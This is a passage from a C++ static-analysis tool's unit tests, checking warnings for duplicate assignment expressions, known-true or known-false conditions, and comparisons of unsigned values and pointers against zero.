f();\\n\"\n \" int j = 1 + f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"int f() __attribute__((pure));\\n\"\n \"int g() __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int i = f() + 1;\\n\"\n \" int j = 1 + f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() __attribute__((pure));\\n\"\n \"int g() __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int x = f();\\n\"\n \" int i = x + 1;\\n\"\n \" int j = f() + 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() __attribute__((pure));\\n\"\n \"int g() __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int i = f() + f();\\n\"\n \" int j = f() + f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"int f(int) __attribute__((pure));\\n\"\n \"int g(int) __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int i = f(0);\\n\"\n \" int j = f(0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"int f(int) __attribute__((pure));\\n\"\n \"int g(int) __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" const int x = 0;\\n\"\n \" int i = f(0);\\n\"\n \" int j = f(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(const int * p, const int * q) {\\n\"\n \" int i = *p;\\n\"\n \" int j = *p;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct A { int x; int y; };\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"void test() {\\n\"\n \" int i = 0;\\n\"\n \" int j = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test() {\\n\"\n \" int i = -1;\\n\"\n \" int j = -1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int);\\n\"\n \"void test() {\\n\"\n \" int i = f(0);\\n\"\n \" int j = f(1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f();\\n\"\n \"int g();\\n\"\n \"void test() {\\n\"\n \" int i = f() || f();\\n\"\n \" int j = f() && f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Foo {};\\n\"\n \"void test() {\\n\"\n \" Foo i = Foo();\\n\"\n \" Foo j = Foo();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Foo {};\\n\"\n \"void test() {\\n\"\n \" Foo i = Foo{};\\n\"\n \" Foo j = Foo{};\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Foo { int f() const; float g() const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct Foo { int f(); int g(); };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test() {\\n\"\n \" int i = f();\\n\"\n \" int j = f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(int x) {\\n\"\n \" int i = ++x;\\n\"\n \" int j = ++x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(int x) {\\n\"\n \" int i = x++;\\n\"\n \" int j = x++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(int x) {\\n\"\n \" int i = --x;\\n\"\n \" int j = --x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(int x) {\\n\"\n \" int i = x--;\\n\"\n \" int j = x--;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(int x) {\\n\"\n \" int i = x + 1;\\n\"\n \" int j = 1 + x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateVarExpressionUnique() {\n check(\"struct SW { int first; };\\n\"\n \"void foo(SW* x) {\\n\"\n \" int start = x->first;\\n\"\n \" int end = x->first;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'start' and 'end'. [duplicateAssignExpression]\\n\"\n \"[test.cpp:2:14]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct SW { int first; };\\n\"\n \"void foo(SW* x, int i, int j) {\\n\"\n \" int start = x->first;\\n\"\n \" int end = x->first;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'start' and 'end'. [duplicateAssignExpression]\\n\"\n \"[test.cpp:2:14]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct Foo { int f() const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"void test(const int * p) {\\n\"\n \" int i = *p;\\n\"\n \" int j = *p;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct Foo { int f() const; int g(int) const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct Foo { int f() const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n }\n\n void duplicateVarExpressionAssign() {\n check(\"struct A { int x; int y; };\"\n \"void use(int);\\n\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \" use(i);\\n\"\n \" i = j;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct A { int x; int y; };\"\n \"void use(int);\\n\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \" use(j);\\n\"\n \" j = i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct A { int x; int y; };\"\n \"void use(int);\\n\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \" use(j);\\n\"\n \" if (i == j) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\"\n \"[test.cpp:3:14] -> [test.cpp:4:14] -> [test.cpp:6:11]: (style) The comparison 'i == j' is always true because 'i' and 'j' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"struct A { int x; int y; };\"\n \"void use(int);\\n\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \" use(j);\\n\"\n \" if (i == a.x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\"\n \"[test.cpp:3:14] -> [test.cpp:6:11]: (style) The comparison 'i == a.x' is always true because 'i' and 'a.x' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"struct A { int x; int y; };\"\n \"void use(int);\\n\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \" use(i);\\n\"\n \" if (j == a.x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\"\n \"[test.cpp:4:14] -> [test.cpp:6:11]: (style) The comparison 'j == a.x' is always true because 'j' and 'a.x' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n // Issue #8612\n check(\"struct P\\n\"\n \"{\\n\"\n \" void func();\\n\"\n \" bool operator==(const P&) const;\\n\"\n \"};\\n\"\n \"struct X\\n\"\n \"{\\n\"\n \" P first;\\n\"\n \" P second;\\n\"\n \"};\\n\"\n \"bool bar();\\n\"\n \"void baz(const P&);\\n\"\n \"void foo(const X& x)\\n\"\n \"{\\n\"\n \" P current = x.first;\\n\"\n \" P previous = x.first;\\n\"\n \" while (true)\\n\"\n \" {\\n\"\n \" baz(current);\\n\"\n \" if (bar() && previous == current)\\n\"\n \" {\\n\"\n \" current.func();\\n\"\n \" }\\n\"\n \" previous = current;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:16:7] -> [test.cpp:15:7]: (style, inconclusive) Same expression used in consecutive assignments of 'current' and 'previous'. [duplicateAssignExpression]\\n\", errout_str());\n }\n\n void duplicateVarExpressionCrash() {\n // Issue #8624\n check(\"struct X {\\n\"\n \" X();\\n\"\n \" int f() const;\\n\"\n \"};\\n\"\n \"void run() {\\n\"\n \" X x;\\n\"\n \" int a = x.f();\\n\"\n \" int b = x.f();\\n\"\n \" (void)a;\\n\"\n \" (void)b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:13] -> [test.cpp:7:13]: (style, inconclusive) Same expression used in consecutive assignments of 'a' and 'b'. [duplicateAssignExpression]\\n\", errout_str());\n\n // Issue #8712\n check(\"void f() {\\n\"\n \" unsigned char d;\\n\"\n \" d = d % 5;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template \\n\"\n \"T f() {\\n\"\n \" T x = T();\\n\"\n \"}\\n\"\n \"int &a = f();\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Issue #8713\n check(\"class A {\\n\"\n \" int64_t B = 32768;\\n\"\n \" P m = MakeP(B);\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" uint32_t a = 42;\\n\"\n \" uint32_t b = uint32_t(A ::B / 1024);\\n\"\n \" int32_t c = int32_t(a / b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Issue #8709\n check(\"a b;\\n\"\n \"void c() {\\n\"\n \" switch (d) { case b:; }\\n\"\n \" double e(b);\\n\"\n \" if(e <= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10718\n // Should probably not be inconclusive\n check(\"struct a {\\n\"\n \" int b() const;\\n\"\n \" auto c() -> decltype(0) {\\n\"\n \" a d;\\n\"\n \" int e = d.b(), f = d.b();\\n\"\n \" return e + f;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:20] -> [test.cpp:5:9]: (style, inconclusive) Same expression used in consecutive assignments of 'e' and 'f'. [duplicateAssignExpression]\\n\", errout_str());\n }\n\n void multiConditionSameExpression() {\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" if (val < 0) continue;\\n\"\n \" if ((val > 0)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:11]: (style) The comparison 'val < 0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:2:13] -> [test.cpp:4:12]: (style) The comparison 'val > 0' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" int *p = &val;n\"\n \" val = 1;\\n\"\n \" if (*p < 0) continue;\\n\"\n \" if ((*p > 0)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:8]: (style) Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" int *p = &val;\\n\"\n \" if (*p < 0) continue;\\n\"\n \" if ((*p > 0)) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:2] -> [test.cpp:3]: (style) The comparison '*p < 0' is always false.\\n\"\n \"[test.cpp:2] -> [test.cpp:4]: (style) The comparison '*p > 0' is always false.\\n\",\n \"[test.cpp:3:8]: (style) Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" if (val < 0) {\\n\"\n \" if ((val > 0)) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:11]: (style) The comparison 'val < 0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:2:13] -> [test.cpp:4:14]: (style) The comparison 'val > 0' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" if (val < 0) {\\n\"\n \" if ((val < 0)) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:11]: (style) The comparison 'val < 0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:2:13] -> [test.cpp:4:14]: (style) The comparison 'val < 0' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int activate = 0;\\n\"\n \" int foo = 0;\\n\"\n \" if (activate) {}\\n\"\n \" else if (foo) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkSignOfUnsignedVariable() {\n check(\"void foo() {\\n\"\n \" for(unsigned char i = 10; i >= 0; i--) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:31]: (style) Unsigned expression 'i' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(bool b) {\\n\"\n \" for(unsigned int i = 10; b || i >= 0; i--) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:35]: (style) Unsigned expression 'i' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n {\n const char code[] = \"void foo(unsigned int x) {\\n\"\n \" if (x < 0) {}\\n\"\n \"}\";\n check(code, true, false, true, false);\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n check(code, true, false, true, true);\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n }\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (x < 0u) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" if (x < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n {\n const char code[] = \"void foo(unsigned x) {\\n\"\n \" int y = 0;\\n\"\n \" if (x < y) {}\\n\"\n \"}\";\n check(code, true, false, true, false);\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n check(code, true, false, true, true);\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:3:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n }\n check(\"void foo(unsigned x) {\\n\"\n \" int y = 0;\\n\"\n \" if (b)\\n\"\n \" y = 1;\\n\"\n \" if (x < y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (0 > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (0UL > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" if (0 > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(unsigned int x, unsigned y) {\\n\"\n \" if (x - y >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Unsigned expression 'x-y' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (x >= 0ull) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" if (x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (0 <= x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (0ll <= x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" if (0 <= x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (x < 0 && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (x < 0 && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (0 > x && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (0 > x && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (x >= 0 && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (x >= 0 && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (y && x < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (y && x < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (y && 0 > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (y && 0 > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (y && x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (y && x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (x < 0 || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (x < 0 || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (0 > x || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (0 > x || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (x >= 0 || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (x >= 0 || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #3233 - FP when template is used (template parameter is numeric constant)\n {\n const char code[] = \"template void foo(unsigned int x) {\\n\"\n \" if (x <= n);\\n\"\n \"}\\n\"\n \"foo<0>();\";\n check(code, true, false);\n ASSERT_EQUALS(\"\", errout_str());\n check(code, true, true);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n check(\"template void foo(unsigned int x) {\\n\"\n \"if (x <= 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:7]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n }\n\n // #8836\n check(\"uint32_t value = 0xFUL;\\n\"\n \"void f() {\\n\"\n \" if (value < 0u)\\n\"\n \" {\\n\"\n \" value = 0u;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (style) Checking if unsigned expression 'value' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n // #9040\n /*const*/ Settings settings1 = settingsBuilder().platform(Platform::Type::Win64).build();\n check(\"using BOOL = unsigned;\\n\"\n \"int i;\\n\"\n \"bool f() {\\n\"\n \" return i >= 0;\\n\"\n \"}\\n\", &settings1);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10612\n check(\"void f(void) {\\n\"\n \" const uint32_t x = 0;\\n\"\n \" constexpr const auto y = 0xFFFFU;\\n\"\n \" if (y < x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) Checking if unsigned expression 'y' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n // #12387\n check(\"template\\n\"\n \"void f(T t) {\\n\"\n \" if constexpr (std::numeric_limits::is_signed) {\\n\"\n \" if (t < 0) {}\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" f(0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #13734\n check(\"void f() {\\n\"\n \" uint8_t a[N + 1];\\n\"\n \" for (unsigned p = 0; p < (sizeof(a) / sizeof((a)[0])); ++p) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkSignOfPointer() {\n check(\"void foo(const int* x) {\\n\"\n \" if (x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\", errout_str());\n\n {\n const char code[] = \"void foo(const int* x) {\\n\"\n \" int y = 0;\\n\"\n \" if (x >= y) {}\\n\"\n \"}\";\n check(code, true, false, true, false);\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\", errout_str());\n check(code, true, false, true, true);\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:3:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\", errout_str());\n }\n check(\"void foo(const int* x) {\\n\"\n \" if (*x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const int* x) {\\n\"\n \" if (x < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\", errout_str());\n\n {\n const char code[] = \"void foo(const int* x) {\\n\"\n \" unsigned y = 0u;\\n\"\n \" if (x < y) {}\\n\"\n \"}\";\n\n check(code, true, false, true, false);\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\", errout_str());\n check(code, true, false, true, true);\n ASSERT_EQUALS(\"[test.cpp:2:16] -> [test.cpp:3:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\", errout_str());\n }\n\n check(\"void foo(const int* x) {\\n\"\n \" if (*x < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const int* x, const int* y) {\\n\"\n \" if (x - y < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const int* x, const int* y) {\\n\"\n \" if (x - y <= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const int* x, const int* y) {\\n\"\n \" if (x - y > 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const int* x, const int* y) {\\n\"\n \" if (x - y >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const Bar* x) {\\n\"\n \" if (0 <= x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\", errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first) {\\n\"\n \" if (first.ptr >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:17]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\"\n \"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if((first.ptr - second.ptr) >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first) {\\n\"\n \" if((first.ptr) >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:18]: (style) A pointer can not be negative so it is either pointless or 